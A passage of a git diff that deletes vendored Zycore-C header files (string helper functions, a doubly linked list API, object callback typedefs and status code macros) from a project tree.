*s1, const char *s2) -{ - // TODO: Implement - - ZYAN_UNUSED(s1); - ZYAN_UNUSED(s2); - - return 0; -} - -ZYAN_INLINE char* ZYAN_STRCPY(char* dest, const char* src) -{ - char* ret = dest; - while ((*dest++ = *src++)); - return ret; -} - -ZYAN_INLINE ZyanUSize ZYAN_STRCSPN(const char *s1, const char *s2) -{ - ZyanUSize ret = 0; - while (*s1) - { - if (ZYAN_STRCHR(s2, *s1)) - { - return ret; - } - s1++, ret++; - } - return ret; -} - -ZYAN_INLINE ZyanUSize ZYAN_STRLEN(const char* str) -{ - const char* p = str; - while (*str) - { - ++str; - } - return str - p; -} - -ZYAN_INLINE char* ZYAN_STRNCAT(char* dest, const char* src, ZyanUSize n) -{ - char* ret = dest; - while (*dest) - { - dest++; - } - while (n--) - { - if (!(*dest++ = *src++)) - { - return ret; - } - } - *dest = 0; - return ret; -} - -ZYAN_INLINE int ZYAN_STRNCMP(const char* s1, const char* s2, ZyanUSize n) -{ - while (n--) - { - if (*s1++ != *s2++) - { - return *(unsigned char*)(s1 - 1) - *(unsigned char*)(s2 - 1); - } - } - return 0; -} - -ZYAN_INLINE char* ZYAN_STRNCPY(char* dest, const char* src, ZyanUSize n) -{ - char* ret = dest; - do - { - if (!n--) - { - return ret; - } - } while ((*dest++ = *src++)); - while (n--) - { - *dest++ = 0; - } - return ret; -} - -ZYAN_INLINE char* ZYAN_STRPBRK(const char* s1, const char* s2) -{ - while (*s1) - { - if(ZYAN_STRCHR(s2, *s1++)) - { - return (char*)--s1; - } - } - return 0; -} - -ZYAN_INLINE char* ZYAN_STRRCHR(const char* s, int c) -{ - char* ret = 0; - do - { - if (*s == (char)c) - { - ret = (char*)s; - } - } while (*s++); - return ret; -} - -ZYAN_INLINE ZyanUSize ZYAN_STRSPN(const char* s1, const char* s2) -{ - ZyanUSize ret = 0; - while (*s1 && ZYAN_STRCHR(s2, *s1++)) - { - ret++; - } - return ret; -} - -ZYAN_INLINE char* ZYAN_STRSTR(const char* s1, const char* s2) -{ - const ZyanUSize n = ZYAN_STRLEN(s2); - while (*s1) - { - if (!ZYAN_MEMCMP(s1++, s2, n)) - { - return (char*)(s1 - 1); - } - } - return 0; -} - -ZYAN_INLINE char* ZYAN_STRTOK(char* str, const char* delim) -{ - static char* p = 0; - if (str) - { - p = str; - } else - if (!p) - { - return 0; - } - str = p + ZYAN_STRSPN(p, delim); - p = str + ZYAN_STRCSPN(str, delim); - if (p == str) - { - return p = 0; - } - p = *p ? *p = 0, p + 1 : 0; - return str; -} - -ZYAN_INLINE ZyanUSize ZYAN_STRXFRM(char* dest, const char* src, ZyanUSize n) -{ - const ZyanUSize n2 = ZYAN_STRLEN(src); - if (n > n2) - { - ZYAN_STRCPY(dest, src); - } - return n2; -} - -/* ---------------------------------------------------------------------------------------------- */ - -#endif - -#endif - -/* ============================================================================================== */ - -#endif /* ZYCORE_LIBC_H */ diff --git a/src/Theodosius/Zycore/List.h b/src/Theodosius/Zycore/List.h deleted file mode 100644 index 015a324..0000000 --- a/src/Theodosius/Zycore/List.h +++ /dev/null @@ -1,574 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements a doubly linked list. - */ - -#ifndef ZYCORE_LIST_H -#define ZYCORE_LIST_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanListNode` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanListNode_ -{ - /** - * A pointer to the previous list node. - */ - struct ZyanListNode_* prev; - /** - * A pointer to the next list node. - */ - struct ZyanListNode_* next; -} ZyanListNode; - -/** - * Defines the `ZyanList` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanList_ -{ - /** - * The memory allocator. - */ - ZyanAllocator* allocator; - /** - * The current number of elements in the list. - */ - ZyanUSize size; - /** - * The size of a single element in bytes. - */ - ZyanUSize element_size; - /** - * The element destructor callback. - */ - ZyanMemberProcedure destructor; - /** - * The head node. - */ - ZyanListNode* head; - /** - * The tail node. - */ - ZyanListNode* tail; - /** - * The data buffer. - * - * Only used for instances created by `ZyanListInitCustomBuffer`. - */ - void* buffer; - /** - * The data buffer capacity (number of bytes). - * - * Only used for instances created by `ZyanListInitCustomBuffer`. - */ - ZyanUSize capacity; - /** - * The first unused node. - * - * When removing a node, the first-unused value is updated to point at the removed node and the - * next node of the removed node will be updated to point at the old first-unused node. - * - * When appending the memory of the first unused-node is recycled to store the new node. The - * value of the first-unused node is then updated to point at the reused nodes next node. - * - * If the first-unused value is `ZYAN_NULL`, any new node will be "allocated" behind the tail - * node (if there is enough space left in the fixed size buffer). - * - * Only used for instances created by `ZyanListInitCustomBuffer`. - */ - ZyanListNode* first_unused; -} ZyanList; - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines an uninitialized `ZyanList` instance. - */ -#define ZYAN_LIST_INITIALIZER \ - { \ - /* allocator */ ZYAN_NULL, \ - /* size */ 0, \ - /* element_size */ 0, \ - /* head */ ZYAN_NULL, \ - /* destructor */ ZYAN_NULL, \ - /* tail */ ZYAN_NULL, \ - /* buffer */ ZYAN_NULL, \ - /* capacity */ 0, \ - /* first_unused */ ZYAN_NULL \ - } - -/* ---------------------------------------------------------------------------------------------- */ -/* Helper macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the data value of the given `node`. - * - * @param type The desired value type. - * @param node A pointer to the `ZyanListNode` struct. - * - * @result The data value of the given `node`. - * - * Note that this function is unsafe and might dereference a null-pointer. - */ -#ifdef __cplusplus -#define ZYAN_LIST_GET(type, node) \ - (*reinterpret_cast(ZyanListGetNodeData(node))) -#else -#define ZYAN_LIST_GET(type, node) \ - (*(const type*)ZyanListGetNodeData(node)) -#endif - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constructor and destructor */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanList` instance. - * - * @param list A pointer to the `ZyanList` instance. - * @param element_size The size of a single element in bytes. - * @param destructor A destructor callback that is invoked every time an item is deleted, or - * `ZYAN_NULL` if not needed. - * - * @return A zyan status code. - * - * The memory for the list elements is dynamically allocated by the default allocator. - * - * Finalization with `ZyanListDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListInit(ZyanList* list, ZyanUSize element_size, - ZyanMemberProcedure destructor); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanList` instance and sets a custom `allocator`. - * - * @param list A pointer to the `ZyanList` instance. - * @param element_size The size of a single element in bytes. - * @param destructor A destructor callback that is invoked every time an item is deleted, or - * `ZYAN_NULL` if not needed. - * @param allocator A pointer to a `ZyanAllocator` instance. - * - * @return A zyan status code. - * - * Finalization with `ZyanListDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanListInitEx(ZyanList* list, ZyanUSize element_size, - ZyanMemberProcedure destructor, ZyanAllocator* allocator); - -/** - * Initializes the given `ZyanList` instance and configures it to use a custom user - * defined buffer with a fixed size. - * - * @param list A pointer to the `ZyanList` instance. - * @param element_size The size of a single element in bytes. - * @param destructor A destructor callback that is invoked every time an item is deleted, or - * `ZYAN_NULL` if not needed. - * @param buffer A pointer to the buffer that is used as storage for the elements. - * @param capacity The maximum capacity (number of bytes) of the buffer including the - * space required for the list-nodes. - * - * @return A zyan status code. - * - * The buffer capacity required to store `n` elements of type `T` is be calculated by: - * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` - * - * Finalization is not required for instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanListInitCustomBuffer(ZyanList* list, ZyanUSize element_size, - ZyanMemberProcedure destructor, void* buffer, ZyanUSize capacity); - -/** - * Destroys the given `ZyanList` instance. - * - * @param list A pointer to the `ZyanList` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListDestroy(ZyanList* list); - -/* ---------------------------------------------------------------------------------------------- */ -/* Duplication */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanList` instance by duplicating an existing list. - * - * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. - * @param source A pointer to the source list. - * - * @return A zyan status code. - * - * The memory for the list is dynamically allocated by the default allocator. - * - * Finalization with `ZyanListDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanListDuplicate(ZyanList* destination, - const ZyanList* source); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanList` instance by duplicating an existing list and sets a - * custom `allocator`. - * - * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. - * @param source A pointer to the source list. - * @param allocator A pointer to a `ZyanAllocator` instance. - * - * @return A zyan status code. - - * Finalization with `ZyanListDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanListDuplicateEx(ZyanList* destination, const ZyanList* source, - ZyanAllocator* allocator); - -/** - * Initializes a new `ZyanList` instance by duplicating an existing list and - * configures it to use a custom user defined buffer with a fixed size. - * - * @param destination A pointer to the (uninitialized) destination `ZyanList` instance. - * @param source A pointer to the source list. - * @param buffer A pointer to the buffer that is used as storage for the elements. - * @param capacity The maximum capacity (number of bytes) of the buffer including the - * space required for the list-nodes. - - * This function will fail, if the capacity of the buffer is not sufficient - * to store all elements of the source list. - * - * @return A zyan status code. - * - * The buffer capacity required to store `n` elements of type `T` is be calculated by: - * `size = n * sizeof(ZyanListNode) + n * sizeof(T)` - * - * Finalization is not required for instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanListDuplicateCustomBuffer(ZyanList* destination, - const ZyanList* source, void* buffer, ZyanUSize capacity); - -/* ---------------------------------------------------------------------------------------------- */ -/* Item access */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns a pointer to the first `ZyanListNode` struct of the given list. - * - * @param list A pointer to the `ZyanList` instance. - * @param node Receives a pointer to the first `ZyanListNode` struct of the list. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetHeadNode(const ZyanList* list, const ZyanListNode** node); - -/** - * Returns a pointer to the last `ZyanListNode` struct of the given list. - * - * @param list A pointer to the `ZyanList` instance. - * @param node Receives a pointer to the last `ZyanListNode` struct of the list. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetTailNode(const ZyanList* list, const ZyanListNode** node); - -/** - * Receives a pointer to the previous `ZyanListNode` struct linked to the passed one. - * - * @param node Receives a pointer to the previous `ZyanListNode` struct linked to the passed - * one. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetPrevNode(const ZyanListNode** node); - -/** - * Receives a pointer to the next `ZyanListNode` struct linked to the passed one. - * - * @param node Receives a pointer to the next `ZyanListNode` struct linked to the passed one. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetNextNode(const ZyanListNode** node); - -/** - * Returns a constant pointer to the data of the given `node`. - * - * @param node A pointer to the `ZyanListNode` struct. - * - * @return A constant pointer to the the data of the given `node` or `ZYAN_NULL`, if an error - * occured. - * - * Take a look at `ZyanListGetNodeDataEx`, if you need a function that returns a zyan status code. - */ -ZYCORE_EXPORT const void* ZyanListGetNodeData(const ZyanListNode* node); - -/** - * Returns a constant pointer to the data of the given `node`.. - * - * @param node A pointer to the `ZyanListNode` struct. - * @param value Receives a constant pointer to the data of the given `node`. - * - * Take a look at `ZyanListGetNodeData`, if you need a function that directly returns a pointer. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataEx(const ZyanListNode* node, const void** value); - -/** - * Returns a mutable pointer to the data of the given `node`. - * - * @param node A pointer to the `ZyanListNode` struct. - * - * @return A mutable pointer to the the data of the given `node` or `ZYAN_NULL`, if an error - * occured. - * - * Take a look at `ZyanListGetPointerMutableEx` instead, if you need a function that returns a - * zyan status code. - */ -ZYCORE_EXPORT void* ZyanListGetNodeDataMutable(const ZyanListNode* node); - -/** - * Returns a mutable pointer to the data of the given `node`.. - * - * @param node A pointer to the `ZyanListNode` struct. - * @param value Receives a mutable pointer to the data of the given `node`. - * - * Take a look at `ZyanListGetNodeDataMutable`, if you need a function that directly returns a - * pointer. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetNodeDataMutableEx(const ZyanListNode* node, void** value); - -/** - * Assigns a new data value to the given `node`. - * - * @param list A pointer to the `ZyanList` instance. - * @param node A pointer to the `ZyanListNode` struct. - * @param value The value to assign. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListSetNodeData(const ZyanList* list, const ZyanListNode* node, - const void* value); - -/* ---------------------------------------------------------------------------------------------- */ -/* Insertion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Adds a new `item` to the end of the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param item A pointer to the item to add. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListPushBack(ZyanList* list, const void* item); - -/** - * Adds a new `item` to the beginning of the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param item A pointer to the item to add. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListPushFront(ZyanList* list, const void* item); - -/** - * Constructs an `item` in-place at the end of the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param item Receives a pointer to the new item. - * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in - * undefined state, if no constructor was passed. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListEmplaceBack(ZyanList* list, void** item, - ZyanMemberFunction constructor); - -/** - * Constructs an `item` in-place at the beginning of the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param item Receives a pointer to the new item. - * @param constructor The constructor callback or `ZYAN_NULL`. The new item will be in - * undefined state, if no constructor was passed. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListEmplaceFront(ZyanList* list, void** item, - ZyanMemberFunction constructor); - -/* ---------------------------------------------------------------------------------------------- */ -/* Deletion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Removes the last element of the list. - * - * @param list A pointer to the `ZyanList` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListPopBack(ZyanList* list); - -/** - * Removes the firstelement of the list. - * - * @param list A pointer to the `ZyanList` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListPopFront(ZyanList* list); - -/** - * Removes the given `node` from the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param node A pointer to the `ZyanListNode` struct. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListRemove(ZyanList* list, const ZyanListNode* node); - -/** - * Removes multiple nodes from the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param first A pointer to the first node. - * @param last A pointer to the last node. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListRemoveRange(ZyanList* list, const ZyanListNode* first, - const ZyanListNode* last); - -/** - * Erases all elements of the list. - * - * @param list A pointer to the `ZyanList` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListClear(ZyanList* list); - -/* ---------------------------------------------------------------------------------------------- */ -/* Searching */ -/* ---------------------------------------------------------------------------------------------- */ - -// TODO: - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Resizes the given `ZyanList` instance. - * - * @param list A pointer to the `ZyanList` instance. - * @param size The new size of the list. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListResize(ZyanList* list, ZyanUSize size); - -/** - * Resizes the given `ZyanList` instance. - * - * @param list A pointer to the `ZyanList` instance. - * @param size The new size of the list. - * @param initializer A pointer to a value to be used as initializer for new items. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListResizeEx(ZyanList* list, ZyanUSize size, const void* initializer); - -/* ---------------------------------------------------------------------------------------------- */ -/* Information */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the current size of the list. - * - * @param list A pointer to the `ZyanList` instance. - * @param size Receives the size of the list. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanListGetSize(const ZyanList* list, ZyanUSize* size); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_VECTOR_H */ diff --git a/src/Theodosius/Zycore/Object.h b/src/Theodosius/Zycore/Object.h deleted file mode 100644 index d015cef..0000000 --- a/src/Theodosius/Zycore/Object.h +++ /dev/null @@ -1,84 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Defines some generic object-related datatypes. - */ - -#ifndef ZYCORE_OBJECT_H -#define ZYCORE_OBJECT_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanMemberProcedure` function prototype. - * - * @param object A pointer to the object. - */ -typedef void (*ZyanMemberProcedure)(void* object); - -/** - * Defines the `ZyanConstMemberProcedure` function prototype. - * - * @param object A pointer to the object. - */ -typedef void (*ZyanConstMemberProcedure)(const void* object); - -/** - * Defines the `ZyanMemberFunction` function prototype. - * - * @param object A pointer to the object. - * - * @return A zyan status code. - */ -typedef ZyanStatus (*ZyanMemberFunction)(void* object); - -/** - * Defines the `ZyanConstMemberFunction` function prototype. - * - * @param object A pointer to the object. - * - * @return A zyan status code. - */ -typedef ZyanStatus (*ZyanConstMemberFunction)(const void* object); - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_OBJECT_H */ diff --git a/src/Theodosius/Zycore/Status.h b/src/Theodosius/Zycore/Status.h deleted file mode 100644 index b0d7fdf..0000000 --- a/src/Theodosius/Zycore/Status.h +++ /dev/null @@ -1,287 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zyan-C) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Status code definitions and check macros. - */ - -#ifndef ZYCORE_STATUS_H -#define ZYCORE_STATUS_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanStatus` data type. - */ -typedef ZyanU32 ZyanStatus; - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Definition */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines a zyan status code. - * - * @param error `1`, if the status code signals an error or `0`, if not. - * @param module The module id. - * @param code The actual code. - * - * @return The zyan status code. - */ -#define ZYAN_MAKE_STATUS(error, module, code) \ - (ZyanStatus)((((error) & 0x01u) << 31u) | (((module) & 0x7FFu) << 20u) | ((code) & 0xFFFFFu)) - -/* ---------------------------------------------------------------------------------------------- */ -/* Checks */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Checks if a zyan operation was successful. - * - * @param status The zyan status-code to check. - * - * @return `ZYAN_TRUE`, if the operation succeeded or `ZYAN_FALSE`, if not. - */ -#define ZYAN_SUCCESS(status) \ - (!((status) & 0x80000000u)) - -/** - * Checks if a zyan operation failed. - * - * @param status The zyan status-code to check. - * - * @return `ZYAN_TRUE`, if the operation failed or `ZYAN_FALSE`, if not. - */ -#define ZYAN_FAILED(status) \ - ((status) & 0x80000000u) - -/** - * Checks if a zyan operation was successful and returns with the status-code, if not. - * - * @param status The zyan status-code to check. - */ -#define ZYAN_CHECK(status) \ - do \ - { \ - const ZyanStatus status_047620348 = (status); \ - if (!ZYAN_SUCCESS(status_047620348)) \ - { \ - return status_047620348; \ - } \ - } while (0) - -/* ---------------------------------------------------------------------------------------------- */ -/* Information */ -/* ---------------------------------------------------------------------------------------------- */ - - /** - * Returns the module id of a zyan status-code. - * - * @param status The zyan status-code. - * - * @return The module id of the zyan status-code. - */ -#define ZYAN_STATUS_MODULE(status) \ - (((status) >> 20) & 0x7FFu) - - /** - * Returns the code of a zyan status-code. - * - * @param status The zyan status-code. - * - * @return The code of the zyan status-code. - */ -#define ZYAN_STATUS_CODE(status) \ - ((status) & 0xFFFFFu) - -/* ============================================================================================== */ -/* Status codes */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Module IDs */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The zycore generic module id. - */ -#define ZYAN_MODULE_ZYCORE 0x001u - -/** - * The zycore arg-parse submodule id. - */ -#define ZYAN_MODULE_ARGPARSE 0x003u - -/** - * The base module id for user-defined status codes. - */ -#define ZYAN_MODULE_USER 0x3FFu - -/* ---------------------------------------------------------------------------------------------- */ -/* Status codes (general purpose) */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The operation completed successfully. - */ -#define ZYAN_STATUS_SUCCESS \ - ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x00u) - -/** - * The operation failed with an generic error. - */ -#define ZYAN_STATUS_FAILED \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x01u) - -/** - * The operation completed successfully and returned `ZYAN_TRUE`. - */ -#define ZYAN_STATUS_TRUE \ - ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x02u) - -/** - * The operation completed successfully and returned `ZYAN_FALSE`. - */ -#define ZYAN_STATUS_FALSE \ - ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x03u) - -/** - * An invalid argument was passed to a function. - */ -#define ZYAN_STATUS_INVALID_ARGUMENT \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x04u) - -/** - * An attempt was made to perform an invalid operation. - */ -#define ZYAN_STATUS_INVALID_OPERATION \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x05u) - -/** - * Insufficient privileges to perform the requested operation. - */ -#define ZYAN_STATUS_ACCESS_DENIED \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x06u) - -/** - * The requested entity was not found. - */ -#define ZYAN_STATUS_NOT_FOUND \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x07u) - -/** - * An index passed to a function was out of bounds. - */ -#define ZYAN_STATUS_OUT_OF_RANGE \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x08u) - -/** - * A buffer passed to a function was too small to complete the requested operation. - */ -#define ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x09u) - -/** - * Insufficient memory to perform the operation. - */ -#define ZYAN_STATUS_NOT_ENOUGH_MEMORY \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Au) - -/** - * An unknown error occurred during a system function call. - */ -#define ZYAN_STATUS_BAD_SYSTEMCALL \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Bu) - -/** - * The process ran out of resources while performing an operation. - */ -#define ZYAN_STATUS_OUT_OF_RESOURCES \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Cu) - -/** - * A dependency library was not found or does have an unexpected version number or - * feature-set. - */ -#define ZYAN_STATUS_MISSING_DEPENDENCY \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Du) - -/* ---------------------------------------------------------------------------------------------- */ -/* Status codes (arg parse) */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Argument was not expected. - */ -#define ZYAN_STATUS_ARG_NOT_UNDERSTOOD \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x00u) - -/** - * Too few arguments were provided. - */ -#define ZYAN_STATUS_TOO_FEW_ARGS \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x01u) - -/** - * Too many arguments were provided. - */ -#define ZYAN_STATUS_TOO_MANY_ARGS \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x02u) - -/** - * An argument that expected a value misses its value. - */ -#define ZYAN_STATUS_ARG_MISSES_VALUE \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x03u) - -/** -* A required argument is missing. -*/ -#define ZYAN_STATUS_REQUIRED_ARG_MISSING \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x04u) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_STATUS_H */ diff --git a/src/Theodosius/Zycore/String.h b/src/Theodosius/Zycore/String.h deleted file mode 100644 index c3157bc..0000000 --- a/src/Theodosius/Zycore/String.h +++ /dev/null @@ -1,1012 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * 